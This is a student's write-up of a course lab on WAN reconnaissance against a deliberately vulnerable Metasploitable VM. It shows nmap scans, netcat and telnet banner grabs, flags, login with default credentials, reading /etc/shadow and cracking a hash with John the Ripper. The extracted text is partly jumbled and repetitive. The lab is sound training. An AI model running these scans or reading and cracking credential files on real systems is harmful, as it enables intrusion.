

Ryan Brodsky

9/22/19

ICS 482

InfoSec Lab: Performing Reconnaissance from the WAN

The screenshot displays the 'Performing Reconnaissance from the WAN' lab interface. It includes a list of open ports (3389/tcp, 5432/tcp, 8180/tcp) and a terminal window showing the results of an Nmap scan on www.campus.edu. The terminal output indicates that the host is up and lists several open ports and services, including ftp, telnet, smtp, http, pop3, https, rmiregistry, mysql, ms-wbt-server, and postgresql. A warning message is also visible: 'Warning: Never expose this VM to an untrusted network!'. The interface also shows a 'Challenge Sample #1' button and a 'CLEAR' button.

Performing Reconnaissance from the WAN

3389/tcp open ms-wbt-server
5432/tcp open postgresql
8180/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 16.30 seconds

6 Notice the flag of 999818. Click on the Challenge icon to see the answer box. This is just to show you the Challenge Flags you will see throughout this lab.

Challenge Sample #1

7 Type the following Linux command and press Enter from the terminal.

root@kali2:~# clear

root@kali2:~# clear

CLEAR

Many steps in this lab have a 120 second time limit. Both commands in each individual step. Be sure to read and perform each individual step to make sure the functions correctly.

8 Both netcat (nc) and TELNET can be used to perform reconnaissance. Type the following command and press Enter, to perform a telnet scan in order to get additional information about the service.

root@kali2:~# nc www.campus.edu 21

Type here to search

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

External Kali Scoring

View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places Terminal Sun 15:28

root@kali2:~#

Starting Nmap 6.49BETA4 (https://nmap.org) at 2019-09-22 15:26 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.19 seconds

root@kali2:~# nmap www.campus.edu

Starting Nmap 6.49BETA4 (https://nmap.org) at 2019-09-22 15:26 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.0058s latency).
Not shown: 989 filtered ports

PORT	STATE	SERVICE
21/tcp	open	ftp
23/tcp	open	telnet
25/tcp	open	smtp
80/tcp	open	http
110/tcp	open	pop3
443/tcp	open	https
1099/tcp	closed	rmiregistry
3306/tcp	open	mysql
3389/tcp	open	ms-wbt-server
5432/tcp	open	postgresql
8180/tcp	closed	sampleflag:999818

Nmap done: 1 IP address (1 host up) scanned in 14.38 seconds

root@kali2:~#

10 When you connect to the TELNET service, you will see a username and password are displayed as part of the banner. Type the following command and press Enter.

root@kali2:~# telnet www.campus.edu 23

When asked for the metasploitable login, press Control + C to end the connection.

root@kali2:~# telnet www.campus.edu 23
Trying 203.0.113.100...
Connected to www.campus.edu.
Escape character is '^['.

metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: Connection closed by foreign host.

BANNER GRAB

11 Type the following Linux command and press Enter from the terminal.

root@kali2:~# clear

root@kali2:~# clear

CLEAR

Type here to search

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

External Kali Scoring

View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places Terminal Sun 15:30

root@kali2:~#

root@kali2:~# telnet www.campus.edu 23
Trying 203.0.113.100...
Connected to www.campus.edu.
Escape character is '^['.

metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: Connection closed by foreign host.

root@kali2:~#

Show Applications

https://lab.infoseclearning.com/lab/performing-reconnaissance

Assignments - ICS 482-01 Vuln... Performing Reconnaissance ... X

Performing Reconnaissance from the WAN

13 Type the following Linux command and press Enter from the terminal.

```
root@kali2:~# clear
```

CLEAR

14 Type the following command to perform a banner grab additional service information. Then press Enter.

```
root@kali2:~# nc www.campus.edu 80
```

On the next line, type HEAD / HTTP/1.0. Then press Enter

```
root@kali2:~# nc www.campus.edu 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 02 Jul 2016 17:35:25 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
Last-Modified: Mon, 29 Feb 2016 16:56:25 GMT
ETag: "100000000aa26-3f-52ceb8780ce77"
Accept-Ranges: bytes
Content-Length: 53
Connection: close
Content-Type: text/html
```

BANNER GRAB

15 Type the following Linux command and press Enter from the terminal.

```
root@kali2:~# clear
```

```
root@kali2:~# clear
```

Type here to search

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

External Kali Scoring View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places Terminal Sun 15:32

```
File Edit View Search Terminal Help
root@kali2:~# nc www.campus.edu 80

^C
root@kali2:~# nc www.campus.edu 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 22 Sep 2019 19:32:24 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
Last-Modified: Fri, 16 Mar 2018 03:47:38 GMT
ETag: "100000000aa26-5a1-5677f782db6c1"
Accept-Ranges: bytes
Content-Length: 1441
Connection: close
Content-Type: text/html

root@kali2:~#
```

2:32 PM 9/22/2019

https://lab.infoseclearning.com/lab/performing-reconnaissance

Assignments - ICS 482-01 Vuln... Performing Reconnaissance ... X

Performing Reconnaissance from the WAN

```
the <a href="mailto:webmaster@localhost">webmaster</a>.
```

```
</p>
<h2>Error 400</h2>
<address>
  <a href="/">localhost</a><br />
  <span>9/22/2019 1:42:46 PM</span> />
  Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1</span>
</address>
</body>
```

BANNER GRAB

19 Below the sentence "Your browser (or proxy) sent a request that this server could not understand." You will find flag2. Type flag2.

Challenge #2

20 Below the sentence "Your browser (or proxy) sent a request that this server could not understand." You will find flag3. Type flag3.

Challenge #3

21 We will stop at port 443 and switch to a better form detection in the next section of the lab. Type the following command and press Enter, to clear all output from the terminal.

```
root@kali2:~# clear
```

Type here to search

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

External Kali Scoring View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places Terminal Sun 15:34

```
File Edit View Search Terminal Help
<body>
<h1>Bad request!</h1>
<p>

Your browser (or proxy) sent a request that
this server could not understand.
flag2:877612
flag3:765114

</p>
<p>
If you think this is a server error, please contact
the <a href="mailto:webmaster@localhost">webmaster</a>.
</p>
<h2>Error 400</h2>
<address>
  <a href="/">localhost</a><br />
  <span>9/22/2019 3:33:28 PM</span> />
  Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color
  PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1</span>
</address>
</body>
```

2:34 PM 9/22/2019

https://lab.infoseclearning.com/lab/performing-reconnaissance

Assignments - ICS 482-01 Vuln... Performing Reconnaissance ... X

Performing Reconnaissance from the WAN

smtp-comands: SERVER, SIZE 20480000, AUTH LOGIN,
_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds

AGGRESSIVE SCAN OF PORT

8 Type the following Linux command and press Enter, from the terminal.

root@kali2:~# clear

root@kali2:~# clear

CLEAR

9 Type the following command and press Enter, to perform a script scan of the target on port 80.

root@kali2:~# nmap -sV -sC www.campus.edu -p 80

root@kali2:~# nmap -sV -sC www.campus.edu -p 80

Starting Nmap 6.49BETA4 (https://nmap.org) at 2016-07-02 14:29 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00057s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.14 ((Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1)
|_ http-methods: Potentially risky methods: TRACE
|_ See http://nmap.org/docs/nmap/scripts/http-methods.html
|_ http-robots.txt: 1 disallowed entry
|_ /webdav/
|_ http-server-header: Apache/2.2.14 ((Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1)
|_ http-title: Site doesn't have a title (text/html).
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds

AGGRESSIVE SCAN OF PORT

Type here to search

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places Terminal Sun 15:45

root@kali2:~# nmap -sV -sC www.campus.edu -p 25

Starting Nmap 6.49BETA4 (https://nmap.org) at 2019-09-22 15:44 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00057s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
|_ smtp-comands: SERVER, SIZE 20480000, AUTH LOGIN,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 14.67 seconds

root@kali2:~# nmap -sV -sC www.campus.edu -p 80

Starting Nmap 6.49BETA4 (https://nmap.org) at 2019-09-22 15:45 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00052s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.14 ((Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1)
|_ http-methods: Potentially risky methods: TRACE

https://lab.infoseclearning.com/lab/performing-reconnaissance

Assignments - ICS 482-01 Vuln... Performing Reconnaissance ... X

Performing Reconnaissance from the WAN

Color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
|_ http-title: Site doesn't have a title (text/html).
|_ ssl-cert: Subject: commonName=localhost
|_ Not valid before: 2009-11-10T23:48:47
|_ Not valid after: 2019-11-08T23:48:47
|_ ssl-date: 2016-07-02T18:32:39+00:00; 0s from scanner time.
|_ sslv2:
|_ SSLv2 supported
|_ cipher:
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_IDEA_128_CBC_WITH_MD5
|_ SSL2_RC2_CBC_128_CBC_WITH_MD5
|_ SSL2_RC4_128_CBC_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_RC2_CBC_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
Service Info: Host: localhost

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds

AGGRESSIVE SCAN OF PORT

14 Type the following Linux command and press Enter, from the terminal.

root@kali2:~# clear

root@kali2:~# clear

CLEAR

15 Type the following command and press Enter, to perform a script scan of the target on port 1099.

root@kali2:~# nmap -sV -sC www.campus.edu -p 1099

root@kali2:~# nmap -sV -sC www.campus.edu -p 1099

Starting Nmap 6.49BETA4 (https://nmap.org) at 2016-07-02 14:34 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00048s latency).
PORT STATE SERVICE VERSION
1099/tcp open java-rtmi Java RMI Registry
Service Info: Host: localhost

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places Terminal Sun 15:46

root@kali2:~# nmap -sV -sC www.campus.edu -p 110

Starting Nmap 6.49BETA4 (https://nmap.org) at 2019-09-22 15:45 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
110/tcp open pop3 hMailServer pop3d
|_ pop3-capabilities: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds

root@kali2:~# nmap -sV -sC www.campus.edu -p 443

Starting Nmap 6.49BETA4 (https://nmap.org) at 2019-09-22 15:46 EDT

https://lab.infoseclearning.com/lab/performing-reconnaissance

Assignments - ICS 482-01 Vuln... Performing Reconnaissance ... X

Performing Reconnaissance from the WAN

script scan of the target on port 1099.

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 1099
```

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 1099
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-07-02 14:34 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00049s latency).
PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi Java RMI Registry
Service Info: Host: localhost

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds
```

AGGRESSIVE SCAN OF PORT

16 Type the following Linux command and press Enter, to perform script scan of the target on port 3306.

```
root@kali2:~# clear
```

```
root@kali2:~# clear
```

CLEAR

17 Type the following command and press Enter, to perform script scan of the target on port 3306.

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 3306
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-07-02 14:44 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00039s latency).
PORT      STATE SERVICE VERSION
3306/tcp  open  mysql      MySQL 5.0.51a-3ubuntu5
|_mysql-info: ERROR: Script execution failed (use -d to debug)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.29 seconds
```

AGGRESSIVE SCAN OF PORT

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places Terminal Sun 15:47

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 1099
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2019-09-22 15:46 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.0019s latency).
PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi Java RMI Registry
Service Info: Host: localhost

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds
```

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 3306
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2019-09-22 15:46 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00039s latency).
PORT      STATE SERVICE VERSION
3306/tcp  open  mysql      MySQL 5.0.51a-3ubuntu5
|_mysql-info: ERROR: Script execution failed (use -d to debug)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.18 seconds
```

https://lab.infoseclearning.com/lab/performing-reconnaissance

Assignments - ICS 482-01 Vuln... Performing Reconnaissance ... X

Performing Reconnaissance from the WAN

script scan of the target on port 5432.

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 5432
```

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 5432
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-07-02 14:50 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00044s latency).
PORT      STATE SERVICE VERSION
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds
```

AGGRESSIVE SCAN OF PORT

21 Type the following Linux command and press Enter, to perform script scan of the target on port 5432.

```
root@kali2:~# clear
```

```
root@kali2:~# clear
```

CLEAR

22 Type the following Linux command and press Enter, to perform script scan of the target on port 8180.

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 8180
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-07-02 14:52 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00066s latency).
PORT      STATE SERVICE VERSION
8180/tcp  open  http       Apache/2.4.18 (Ubuntu)
Service Info: Host: localhost

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds
```

AGGRESSIVE SCAN OF PORT

23 Type the following command and press Enter, to perform script scan of the target on port 8180.

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 8180
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-07-02 14:52 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00066s latency).
PORT      STATE SERVICE VERSION
8180/tcp  open  http       Apache/2.4.18 (Ubuntu)
Service Info: Host: localhost

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds
```

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places Terminal Sun 15:47

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 3389
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2019-09-22 15:47 EDT
Nmap scan report for www.campus.edu (203.0.113.100)
Host is up (0.00042s latency).
PORT      STATE SERVICE VERSION
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-cert: Subject: commonName=SERVER
|_Not valid before: 2019-01-17T20:24:56
|_Not valid after: 2019-07-19T20:24:56
|_ssl-date: 2019-09-22T19:47:36+00:00; -7s from scanner time.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.59 seconds
```

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 5432
```

```
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2019-09-22 15:47 EDT
```


https://lab.infoseclearning.com/lab/performing-reconnaissance

Assignments - ICS 482-01 Vuln... Performing Reconnaissance ... X

Performing Reconnaissance from the WAN

3 Type the following command and press Enter, to view root account (0).

```
msfadmin@metasploitable:~$ id root
```

ID COMMAND

4 Get the information for below Challenge Flag by using techniques from the previous steps.

Challenge #4

Challenge #5

Challenge #6

5 Type the following command and press Enter, to view shadow file.

```
msfadmin@metasploitable:~$ sudo tail /etc/shadow
```

When asked for the password, type **msfadmin**, then press Enter.

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places \$ Terminal Sun 15:51

```
File Edit View Search Terminal Help
metasploitable login: msfadmin
Password:
Last login: Sat Apr 7 00:12:38 EDT 2018 on pts/3
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ id root
uid=0(root) gid=0(root) groups=0(root)
msfadmin@metasploitable:~$ id flag4
uid=444551(flag4) gid=444551(flag4) groups=444551(flag4)
msfadmin@metasploitable:~$ id flag5
uid=444778(flag5) gid=444778(flag5) groups=444778(flag5)
msfadmin@metasploitable:~$ id flag6
uid=616778(flag6) gid=616778(flag6) groups=616778(flag6)
msfadmin@metasploitable:~$
```

Save Ctrl+S
Save As... Shift+Ctrl+S
Print Preview Shift+Ctrl+P
Print... Ctrl+P
Quit Ctrl+Q

LEAFPAD

12 Type the following command and press Enter, to create pass.txt.

```
root@kali2:~# john pass.txt
```

```
root@kali2:~# john pass.txt
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also
recognized as "x-smd5"
Use the "--format=aix-smd5" option to force loading these as
that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128
Warning: OpenMP is disabled: a non-OpenMP build may be faster
Press 'q' or Ctrl-C to abort, almost any other key for status
P$ssw0rd (administrator)
lg 0:00:00:00 DONE 2/3 (2016-06-21 01:45) 3.571g/s 13492p/s
tional..phl5pe
Use the "--show" option to display all of the cracked passwords
reliably
Session completed
```

LEAFPAD

13 Type the following command and press Enter, to perform a script scan of the target on port 3389.

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 3389
```

```
root@kali2:~# nmap -sV -sC www.campus.edu -p 3389
Starting Nmap 5.40BETA4 ( https://nmap.org ) at 2016-07-02 14:49 EDT
Nmap scan report for www.campus.edu (103.0.113.100)
Host is up (0.0000s latency).
PORT      STATE SERVICE
3389/tcp  open  ssl/mw-wot-server?

```

External Kali Scoring - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-872930/External%20Kali%20Scoring

View Fullscreen Send Ctrl+Alt+Delete Reboot

Applications Places \$ Terminal Sun 15:54

```
File Edit View Search Terminal Help
polkituser:*:16467:0:999999:7:::
haldaemon:*:16467:0:999999:7:::
administrator:$1$aMc12p0/$P8UENEDM.QmBoRlyhtt.b.:16609:0:99999:7:::
flag4!:17628:0:99999:7:::
flag5!:17628:0:99999:7:::
flag6!:17628:0:99999:7:::
msfadmin@metasploitable:~$ exit
Connection closed by foreign host.
root@kali2:~# leafpad pass.txt
root@kali2:~# john pass.txt
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also
recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P$ssw0rd (administrator)
lg 0:00:00:00 DONE 2/3 (2016-06-21 01:45) 5.000g/s 19115p/s 19115c/s
tional..rock
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali2:~#
```

